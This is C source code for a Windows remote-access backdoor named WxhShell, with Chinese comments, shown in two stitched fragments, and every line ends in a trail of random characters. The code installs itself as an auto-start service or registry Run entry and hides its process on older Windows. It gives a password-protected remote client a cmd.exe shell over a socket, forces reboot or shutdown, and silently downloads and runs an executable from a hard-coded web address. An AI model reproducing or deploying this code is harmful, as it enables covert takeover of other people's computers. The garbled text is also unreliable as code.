  case 'd': { {K:Utdu($q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $dP)8_Z2  
    if(Boot(SHUTDOWN)) z6lz*%Yi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _@N)]!\MgP  
    else { dM UDLr-  
    closesocket(wsh); `X='g96C1  
    ExitThread(0); /;rN/ot2o  
    } \ V>%yl{8  
    break; 2eU[*x  
    } f}X8|GlBo  
  // 获取shell L:M9|/  
  case 's': { .m?~TOR  
    CmdShell(wsh); @?m8/t9 .  
    closesocket(wsh); mr!I}I7x&x  
    ExitThread(0); XijLS7Aw|  
    break; V]]qu:Mh8  
  } |T_Pz& -  
  // 退出 b8.%?_?  
  case 'x': { YfwJBz D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0s|LK  
    CloseIt(wsh); -;\+uV  
    break; QYgN39gp  
    } EYxRw  
  // 离开 5}xni  
  case 'q': { ~(j'a!#Vvk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N1~V +_mM  
    closesocket(wsh);  |{)xC=  
    WSACleanup(); (nD$%/uK'  
    exit(1); yXA f  
    break; &fW=5'  
        } kI 3zYD^:  
  } %vtSeJ  
  } .4<U*Xkt  
WrNgV@P  
  // 提示信息 5%+}rSn7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1=Zw=ufqV  
} \Byk`} 9  
  } ?=!XhU .  
.w_`d'}  
  return; RQCQGa^cP  
} <cv1$ x ~P  
3DAGW"F  
// shell模块句柄 )v=G}j^  
int CmdShell(SOCKET sock) `Kw"XGT  
{ 4E-A@FR  
STARTUPINFO si; RVnyl`s  
ZeroMemory(&si,sizeof(si)); ~H|LWCU)K8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AC:s4iacC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RzRvu]]8  
PROCESS_INFORMATION ProcessInfo; p=+*g.,O  
char cmdline[]="cmd"; O^Vy"8Ji}y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +;*(a3Gp  
  return 0; 18"VB50b}  
} 2nU NI U  
iW@Vw{|i I  
// 自身启动模式 1m`tqlFU9  
int StartFromService(void) X$ B]P 7G7  
{ k!/ _/^{  
typedef struct \678Nx  
{ e( o/we{  
  DWORD ExitStatus; a\69,%!:  
  DWORD PebBaseAddress; IR dz(~CP  
  DWORD AffinityMask; z8(R.TB  
  DWORD BasePriority; y)/$ge _U  
  ULONG UniqueProcessId; };m7FO  
  ULONG InheritedFromUniqueProcessId; !""!sFx)R  
}   PROCESS_BASIC_INFORMATION; fuD1U}c  
.Spi$>v  
PROCNTQSIP NtQueryInformationProcess; QHzX 5$IM  
xbrmPGpW$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {vT55i<mk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ab aQJ|  
DV[ Jbl:)  
  HANDLE             hProcess; @`;Y/',  
  PROCESS_BASIC_INFORMATION pbi; Pkx(M E  
{,f!'i&b@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :.S41S   
  if(NULL == hInst ) return 0; \+Rwm:lI  
qi SEnRG.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Gr#rM/AfCK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZC5Yve8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^s@*ISY  
:uwRuPI  
  if (!NtQueryInformationProcess) return 0; mrhp)yF  
@ oz&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n E,gQHw  
  if(!hProcess) return 0; 6Sb'Otw.  
Ef`5fgp? S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sK 1m9  
[B ~zoB(  
  CloseHandle(hProcess); L.0} UXd  
:Q r7:$S^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c_G-R+  
if(hProcess==NULL) return 0; Jh&~/ntmm_  
L_~I ~  
HMODULE hMod; e}R2J `7  
char procName[255]; 9O=05CQ  
unsigned long cbNeeded; o ?va#/fk  
CS;W)F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K_&c5(-(_  
A:.IBctsd  
  CloseHandle(hProcess); YoF\ MT]W  
1>@]@ST[:  
if(strstr(procName,"services")) return 1; // 以服务启动 38U5^`  
2u~c/JryN  
  return 0; // 注册表启动 Xrj(,|  
} =tf@4_  
[)H,zpl  
// 主模块 Vgqvvq<S  
int StartWxhshell(LPSTR lpCmdLine) [^U;  
{ pKxX{i1l  
  SOCKET wsl; y/@;c)1b9  
BOOL val=TRUE; sw$R2K{y  
  int port=0; !k:zLjtp  
  struct sockaddr_in door; @vdc)vN[ /  
 UL)"  
  if(wscfg.ws_autoins) Install(); :^H9W^2  
^/%o%J&Hz  
port=atoi(lpCmdLine); 17 i<4f#  
V/(`Ek-  
if(port<=0) port=wscfg.ws_port; AJ>BF.>  
Th~3mf #  
  WSADATA data; -Ap2NpZ"t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^fE\S5P  
@jE d%W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   } T/}0W]0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (RDa,&  
  door.sin_family = AF_INET; rysP)e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )e|$K= D  
  door.sin_port = htons(port); k+WO &g*|  
*#Lsjk~_-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G>=9gSLM  
closesocket(wsl); s<Ex"+  
return 1; ReI=4Jq11  
} N?a1sdR  
P&[Ft)`  
  if(listen(wsl,2) == INVALID_SOCKET) { :jk)(=^  
closesocket(wsl); T .Pklty  
return 1; L9{mYA]q  
} `q f\3JT\  
  Wxhshell(wsl); nc3ltT,R  
  WSACleanup(); -uv 9(r\P  
<}28=d  
return 0; K-2o9No?j`  
vs\'1^*D  
} ldAov\X  
er[" NSo  
// 以NT服务方式启动 zj~nnfoys  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) io9y; S"+  
{ VM-qVd-  
DWORD   status = 0; _=|nOj39  
  DWORD   specificError = 0xfffffff; _l24Ba$F6  
}g>dn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; HF &h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KjFZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c!\.[2n  
  serviceStatus.dwWin32ExitCode     = 0; iUeV5cB  
  serviceStatus.dwServiceSpecificExitCode = 0; qs6Nb'JvQR  
  serviceStatus.dwCheckPoint       = 0; ,] ~u:Y}  
  serviceStatus.dwWaitHint       = 0; bGZ hUEq  
C1X}3bB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d98))G~W  
  if (hServiceStatusHandle==0) return; r/mA2  
a&$Zpf!!  
status = GetLastError(); 5nMkd/  
  if (status!=NO_ERROR) h^o+E2<]  
{ l5FuMk-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K-2.E  
    serviceStatus.dwCheckPoint       = 0; BW'L.*2  
    serviceStatus.dwWaitHint       = 0; wXr>p)mP  
    serviceStatus.dwWin32ExitCode     = status; aL8p"iSG9  
    serviceStatus.dwServiceSpecificExitCode = specificError; zyaW3th  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c=b+g+*xd  
    return; "bD+/\ z  
  } @T<ad7g-2J  
A#v|@sul  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q%OcLZ<,  
  serviceStatus.dwCheckPoint       = 0; 4 t&gW  
  serviceStatus.dwWaitHint       = 0; >EBZ$X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WW//heJe-  
} [3t0M5x w  
Dh hG$  
// 处理NT服务事件,比如:启动、停止 '8s>rH5[V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +mJ :PAy4  
{ = E&b=  
switch(fdwControl) zWy ,Om8P  
{ If~95fy~c  
case SERVICE_CONTROL_STOP: W3 De|V^  
  serviceStatus.dwWin32ExitCode = 0; C:]/8l  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M:R8<.{  
  serviceStatus.dwCheckPoint   = 0; P7's8KOoS  
  serviceStatus.dwWaitHint     = 0; 1i4WWK7k  
  { yJDeX1+,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /3Jz3  
  } f=t:[ < )  
  return; 7)B&(2D&  
case SERVICE_CONTROL_PAUSE: x1t{SQ-C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !cRfZ  
  break; 8{R&EijC  
case SERVICE_CONTROL_CONTINUE: ?TIV2m^?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *,"jF!C&[  
  break; By2s']bw  
case SERVICE_CONTROL_INTERROGATE: Ee{`Y0  
  break; i~9?:plS  
}; }P#Vsqe V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J4YT)-  
} *R5`.j =  
t(}/g  
// 标准应用程序主函数 A[RHw<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &svx@wW  
{ ^`tk/#h\9F  
>eQbipn  
// 获取操作系统版本 lwVk(l Z  
OsIsNt=GetOsVer(); 8jRs =I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #":: ' ?,  
fi=0{  
  // 从命令行安装 dw~[9oh  
  if(strpbrk(lpCmdLine,"iI")) Install(); ):3MYSqX  
*~c qr  
  // 下载执行文件 v9u<F6  
if(wscfg.ws_downexe) { \,2gTi,=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w"{bp  
  WinExec(wscfg.ws_filenam,SW_HIDE); & B}Lo  
} >L^xlm%7o  
| z:Q(d06  
if(!OsIsNt) { @!e~G'j%VD  
// 如果时win9x,隐藏进程并且设置为注册表启动 O]t\B *%}  
HideProc(); %Ys$@dB  
StartWxhshell(lpCmdLine); `AR"!X  
} #>=8w9]  
else VKy5=2&  
  if(StartFromService()) Gu5~ DyT`G  
  // 以服务方式启动 GMz8B-vk  
  StartServiceCtrlDispatcher(DispatchTable); PkTf JQP8  
else [cDbaq,T  
  // 普通方式启动 b\:~;  
  StartWxhshell(lpCmdLine); cQX:%Ix=  
)u0O_R  
return 0; {&-#s#&  
} YJd8l>mz  
f27)v(EJ  
[9OSpq  
:/6()_>bO  
=========================================== #: #Dz.$L  
 r@k"4ce-  
'99@=3AB:`  
GzdRG^vN  
fYB*6Xb,w  
.$Y? W<  
" oE1M/*myS  
{SJsA)9:#  
#include <stdio.h> )B;M  
#include <string.h> +oZH?N4yaM  
#include <windows.h> b0 &  
#include <winsock2.h> +Qs!Nhsq  
#include <winsvc.h> TiyUr [  
#include <urlmon.h> m2(E>raV6  
T6uMFD4 |  
#pragma comment (lib, "Ws2_32.lib") !{(ls<  
#pragma comment (lib, "urlmon.lib") `a >?UUT4  
+%XnMl  
#define MAX_USER   100 // 最大客户端连接数 ]boE{R!I  
#define BUF_SOCK   200 // sock buffer L6+C]t}>6  
#define KEY_BUFF   255 // 输入 buffer 9/@ &*  
Me,<\rQ  
#define REBOOT     0   // 重启 !MoOKW  
#define SHUTDOWN   1   // 关机 Yl~$V(  
"]#'QuR  
#define DEF_PORT   5000 // 监听端口 M\9F:.t=  
cvfUyp;P  
#define REG_LEN     16   // 注册表键长度 IE;\7 r+h  
#define SVC_LEN     80   // NT服务名长度 Qs l80~n_7  
|n`PESf_  
// 从dll定义API 8}BS2C%P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2bLI%gg3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r+S;B[Vd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @}DFp`~5|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +AoP{ x$Ia  
U; U08/y  
// wxhshell配置信息 g*y/j]  
struct WSCFG { z]=8eV\  
  int ws_port;         // 监听端口 v L}T~_=3  
  char ws_passstr[REG_LEN]; // 口令 tuLH}tkNY  
  int ws_autoins;       // 安装标记, 1=yes 0=no u1^\MVO8  
  char ws_regname[REG_LEN]; // 注册表键名 ]JdJe6`Mc  
  char ws_svcname[REG_LEN]; // 服务名 ,?(ciO)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `\N]wlB2/b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Jf_%<\ O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <bUXC@3W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @?Zf-.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VI_+v[Hk/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ] 8Tzr  
6+3$:?  
}; jj,r <T  
l5k?De_(x  
// default Wxhshell configuration ORBxD"J&  
struct WSCFG wscfg={DEF_PORT, : @6mFTV  
    "xuhuanlingzhe", ,h&a9:+i  
    1, f*m[|0qI<X  
    "Wxhshell", /e1(? 20  
    "Wxhshell", oa`#RC8N  
            "WxhShell Service", {DwIjy31T  
    "Wrsky Windows CmdShell Service", BpH%STEN  
    "Please Input Your Password: ", VEs5;]#<2D  
  1, G\=_e8(  
  "http://www.wrsky.com/wxhshell.exe", Kkv<"^H  
  "Wxhshell.exe" g^l RG3a  
    }; Ur!~<4GO  
eT[&L @l]b  
// 消息定义模块 %>zjGF<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m Ni2b*k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2*2:-o cl$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z%sy$^v@vD  
char *msg_ws_ext="\n\rExit."; I[D8""U  
char *msg_ws_end="\n\rQuit."; M0w/wt|  
char *msg_ws_boot="\n\rReboot..."; |^( M{  
char *msg_ws_poff="\n\rShutdown..."; ,T|x)"uA`  
char *msg_ws_down="\n\rSave to "; U~H?4Izl=  
cWa)#:JOV  
char *msg_ws_err="\n\rErr!"; U>F{?PReA?  
char *msg_ws_ok="\n\rOK!"; cyQBqG  
#xT!E:W '  
char ExeFile[MAX_PATH]; }x:f%Z5h  
int nUser = 0; u9Y3?j,oC  
HANDLE handles[MAX_USER]; Ck'aHe22'  
int OsIsNt; cb$-6ZE/  
vFQ,5n;fF  
SERVICE_STATUS       serviceStatus; O0hu qF$K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O{]9hm(tN  
JOD/Raq.1k  
// 函数声明 I g \#f  
int Install(void); E[g*O5  
int Uninstall(void); QlEd6^&  
int DownloadFile(char *sURL, SOCKET wsh); 38IMxd9v  
int Boot(int flag); &<]<a_pw  
void HideProc(void); i9A~<  
int GetOsVer(void); [4Q"#[V&9  
int Wxhshell(SOCKET wsl); :O-1rD  
void TalkWithClient(void *cs); +L%IG  
int CmdShell(SOCKET sock); Hd &{d+B  
int StartFromService(void); C6  "  
int StartWxhshell(LPSTR lpCmdLine); ,6,]#R :J  
m3.sVI0I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q(Gl{#b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nwmW.(R4  
GF$`BGW  
// 数据结构和表定义 x#H 3=YD*  
SERVICE_TABLE_ENTRY DispatchTable[] = ;\{`Ci\  
{ f_=~H<j!  
{wscfg.ws_svcname, NTServiceMain}, ,S&z<S_  
{NULL, NULL} rwf^,r"r  
}; 6b=q-0yj  
L'Q<>{;Ig  
// 自我安装 =,V|OfW  
int Install(void) v=?2S  
{ s?C&s|'.  
  char svExeFile[MAX_PATH]; @xAfZb2E  
  HKEY key; Z`Z5sj 4{  
  strcpy(svExeFile,ExeFile); -{jdn%Y7CK  
1AD]v<M  
// 如果是win9x系统,修改注册表设为自启动 Jxl6a:  
if(!OsIsNt) { 7cTk@Gq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D Ml?o:l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >m6&bfy\q  
  RegCloseKey(key); y 1\'( 1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { & E}mX]t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z=Cr7-  
  RegCloseKey(key); mUoIJ3fv_,  
  return 0; 5:.{oSy7n  
    } =O$M_1lp  
  } kG0Yh2;#  
} c&nh>oN  
else { d+fSo SjX8  
,,4 GNbBC  
// 如果是NT以上系统,安装为系统服务 |`/TBQz:r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #0Ds'pE-  
if (schSCManager!=0) 9Ul(GI(  
{ yxWO [ Z  
  SC_HANDLE schService = CreateService ec3<%+0f  
  ( ;2xO`[#  
  schSCManager, c1XX~8  
  wscfg.ws_svcname, f!_ ctp  
  wscfg.ws_svcdisp, SU.ythU2,c  
  SERVICE_ALL_ACCESS, MXtkP1A `  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3'`dFY,  
  SERVICE_AUTO_START, } ^kL|qmjR  
  SERVICE_ERROR_NORMAL, ??&<k   
  svExeFile, rNDrp@A>  
  NULL, w3T]H_V  
  NULL, p{$p $/A  
  NULL, F>hZ{   
  NULL, 0Q5^C!K  
  NULL !ZXUPH  
  ); pv)`%<  
  if (schService!=0) #I*QX%(H#  
  { ~ 5"JzT  
  CloseServiceHandle(schService); 5 `/< v^  
  CloseServiceHandle(schSCManager); rf &M!d}!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %3r:s`{  
  strcat(svExeFile,wscfg.ws_svcname); qoMfSz"(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V@-)\RZm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;3eKqr0  
  RegCloseKey(key); }f}}A=  
  return 0; KvFMs\o6p  
    } ~a9W3b4j  
  } T1WWK'  
  CloseServiceHandle(schSCManager); *iA4:EIP  
} ]e?x# <S  
} -V.d?A4"  
V~IIY B7  
return 1; f9$xk|2g  
} I0'WOV70  
]b?9zeT*'l  
// 自我卸载 ZJW[?V\5=  
int Uninstall(void) >/$Fh:R-  
{ @@G6p($  
  HKEY key; Q n)d2-<  
$tqJ/:I  
if(!OsIsNt) { T#@lDpO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y[};J vk  
  RegDeleteValue(key,wscfg.ws_regname); $g9**b@  
  RegCloseKey(key); oPf)be| #  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KL,/2 (  
  RegDeleteValue(key,wscfg.ws_regname); _*M42<wcO  
  RegCloseKey(key); pmvT$;7I  
  return 0; ^"\s eS  
  } 8 )*2@-Rp  
} )j l 8!O7  
} VSX@e|Nj  
else { K6JVg$  
]  ]U<UJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z4K+ /<I  
if (schSCManager!=0) C BYX]  
{ PQmq5N6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $lA V6I.  
  if (schService!=0) Z6C=T;w  
  { @oP_;G  
  if(DeleteService(schService)!=0) { #65^w=Sp}  
  CloseServiceHandle(schService); ? 8aaD>OR$  
  CloseServiceHandle(schSCManager); /wShUR{  
  return 0; eYUr-rN+)z  
  } uE/T2BX*  
  CloseServiceHandle(schService); \2-@'^i  
  } N;oQ^B'  
  CloseServiceHandle(schSCManager); xiF7}]d+  
} k,F"-K+M  
} `A$!]&[~|  
6DTTV66  
return 1; %q ;jVj[  
} g:l.MJT  
[&[^G25  
// 从指定url下载文件 hY5WJ;  
int DownloadFile(char *sURL, SOCKET wsh) O=cxNy-I  
{ u6V/JI}g  
  HRESULT hr; s'aip5P  
char seps[]= "/"; wFh8?Z3u_  
char *token; }T^cEfX  
char *file; =;a!u  
char myURL[MAX_PATH]; Di_2Plo)4  
char myFILE[MAX_PATH]; 5wao1sd#  
)4U> !KrY  
strcpy(myURL,sURL); w.\w1:d  
  token=strtok(myURL,seps); [S]S^ej*8  
  while(token!=NULL) tY${M^^<J  
  { 8(g:HR*;  
    file=token; b+-f.!j  
  token=strtok(NULL,seps); XKA&XpF  
  } 5vAf7\*  
@oF$LMD  
GetCurrentDirectory(MAX_PATH,myFILE); ]r! >{  
strcat(myFILE, "\\"); i@5[FC  
strcat(myFILE, file); HW4 .zw  
  send(wsh,myFILE,strlen(myFILE),0); >Iewx Gb>  
send(wsh,"...",3,0); ,Y?sfp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); % }|cb7l  
  if(hr==S_OK) <:/&&@2  
return 0; XIo55*  
else enNiI$H]`_  
return 1; 93qwH%  
`!:q;i]}  
} 1% F?B-k  
<$w?/y/'  
// 系统电源模块 u cwnA  
int Boot(int flag) ev0oO+u  
{ w@-PqsF  
  HANDLE hToken; Sd/?&  
  TOKEN_PRIVILEGES tkp; EpS(o>'  
jc[_I&Oc_  
  if(OsIsNt) { 8[CB>-9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  |{* }|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,mS/h~-5n  
    tkp.PrivilegeCount = 1; SVlua@]ChU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ok7t@l$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z@8vL  
if(flag==REBOOT) { f'Iz G.R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pMg3fUIM  
  return 0; zsU=sTsL  
} ?&LZB}1R  
else { s](aNe2j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \~d";~Y`  
  return 0; cfox7FmW  
} ]eQV ,Vt  
  } {8,<ZZ_  
  else { 5(W"-A}  
if(flag==REBOOT) { YCe7<3>J4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TSAU?r\P  
  return 0; ^=n+T7"J  
} @D-AO_  
else { GLn{s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S-31-Zjw  
  return 0; ]q- g[e'  
} L@75- T  
} G$'jEa<:u  
v5;I]?72l~  
return 1; 9Suu-A  
} d_n7k g+  
 ;N B:e  
// win9x进程隐藏模块 <2!v(EkI  
void HideProc(void) >{eCh$L  
{ nzjkX4KV  
O%1v) AT&\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^JI o? R  
  if ( hKernel != NULL ) i,V;xB2  
  { +$xeoxU>;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q'+MFld   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P o jmC  
    FreeLibrary(hKernel); E^GHVt/.  
  } 6{[pou&  
Am8x74?  
return; [s9O0i" Y  
} @prG%vb"  
4`Q3v4fOF  
// 获取操作系统版本 ;fw1  
int GetOsVer(void) ky 8ep  
{ ml@2wGyf  
  OSVERSIONINFO winfo; tNsPB6 Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,D\GGRw  
  GetVersionEx(&winfo); nA|.t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S[tE&[$(p  
  return 1; nf 1#tlIJd  
  else IchCACK  
  return 0; hlu:=<B  
} Xi?b]Z  
pE{yv1Yg  
// 客户端句柄模块 )$w*V9d  
int Wxhshell(SOCKET wsl) r'CM  
{ r1ws1 rr=  
  SOCKET wsh; wU#F_De)R:  
  struct sockaddr_in client; k>dsw:  
  DWORD myID; ^gV T$A  
8Qh#)hiW!  
  while(nUser<MAX_USER) $Vc~/>  
{ ut >4U'.H  
  int nSize=sizeof(client); v7%X@j]ji  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^:9$@ +a  
  if(wsh==INVALID_SOCKET) return 1; 0Io'bF  
.nYUL>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #jAqra._b  
if(handles[nUser]==0) UgWs{y2SE.  
  closesocket(wsh); nR4y`oP+  
else :{NC-%4o0  
  nUser++; f84:hXo6  
  } ,uzN4_7u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *. 3N=EO  
fzjU<?}  
  return 0; | ohL]7b<  
} Q'k\8'x  
[4fU+D2\d  
// 关闭 socket iK?b~Q  
void CloseIt(SOCKET wsh) i,13b e  
{ [1Ydo`  
closesocket(wsh); A2}Rl%+X]6  
nUser--; MNH1D! }  
ExitThread(0); Y(\T- bI  
} )BfT7{WN  
JFgoN,xn  
// 客户端请求句柄 Bl9jkq ]  
void TalkWithClient(void *cs) tBTTCwNT%  
{ 2_Wg!bq  
64-#}3zL  
  SOCKET wsh=(SOCKET)cs; xEuN   
  char pwd[SVC_LEN]; T#pk]c6Q  
  char cmd[KEY_BUFF]; `%3 /   
char chr[1]; DK0.R]&4(  
int i,j; 7bxA]s{m  
\A `hj~  
  while (nUser < MAX_USER) { JT fd#g?I  
j3q~E[Mz\  
if(wscfg.ws_passstr) { E7Cy(LO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9WJz~SP+vR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E~<`/s  
  //ZeroMemory(pwd,KEY_BUFF); ++L?+^h  
      i=0; c!8=lrT.  
  while(i<SVC_LEN) { 3~e8bcb  
.To;"D;j,  
  // 设置超时 H3{GmV8  
  fd_set FdRead; l!#m&'16"  
  struct timeval TimeOut; ]|_\xO(  
  FD_ZERO(&FdRead); yqSs,vz  
  FD_SET(wsh,&FdRead); Tz2-Bp]h  
  TimeOut.tv_sec=8; (M =Y&M'f  
  TimeOut.tv_usec=0; m]*Bx%-1c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vK$"# F~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *5<Sr q'  
9 2MTX Osp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [FUjnI  
  pwd=chr[0]; <o2r~E0r3  
  if(chr[0]==0xd || chr[0]==0xa) { A]L%dFK  
  pwd=0; ??hJEE  
  break; %+ZJhHT  
  } $,xnU.n  
  i++; bqanFQj  
    } :S$l"wrh\  
a?yMHb{F  
  // 如果是非法用户,关闭 socket yT{8d.Rh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2iu_pjj  
} ]nhr+;of/-  
b;|55Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KYJjwXT28W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~) ?  
fjnTe  
while(1) {  `[zQf  
XPB9~::  
  ZeroMemory(cmd,KEY_BUFF); :|o<SZ  
ylKmj]A  
      // 自动支持客户端 telnet标准   9+,R`v  
  j=0; t6c<kIQ:-O  
  while(j<KEY_BUFF) { v){ .Z^_C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jkiTj~WE-  
  cmd[j]=chr[0]; I8OD$`~*U6  
  if(chr[0]==0xa || chr[0]==0xd) { uS&| "*pR  
  cmd[j]=0; Ax oD8|  
  break; M5T9JWbN  
  } xoB},Xl$D  
  j++; k%[3Q>5iM  
    } xUF_1hY  
yGg,$WM  
  // 下载文件 E&yD8=vw  
  if(strstr(cmd,"http://")) { crO@?m1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); CukC6u b  
  if(DownloadFile(cmd,wsh)) _WX#a|4h{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 569}Xbc/  
  else $4jell  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +7Kyyu)y@  
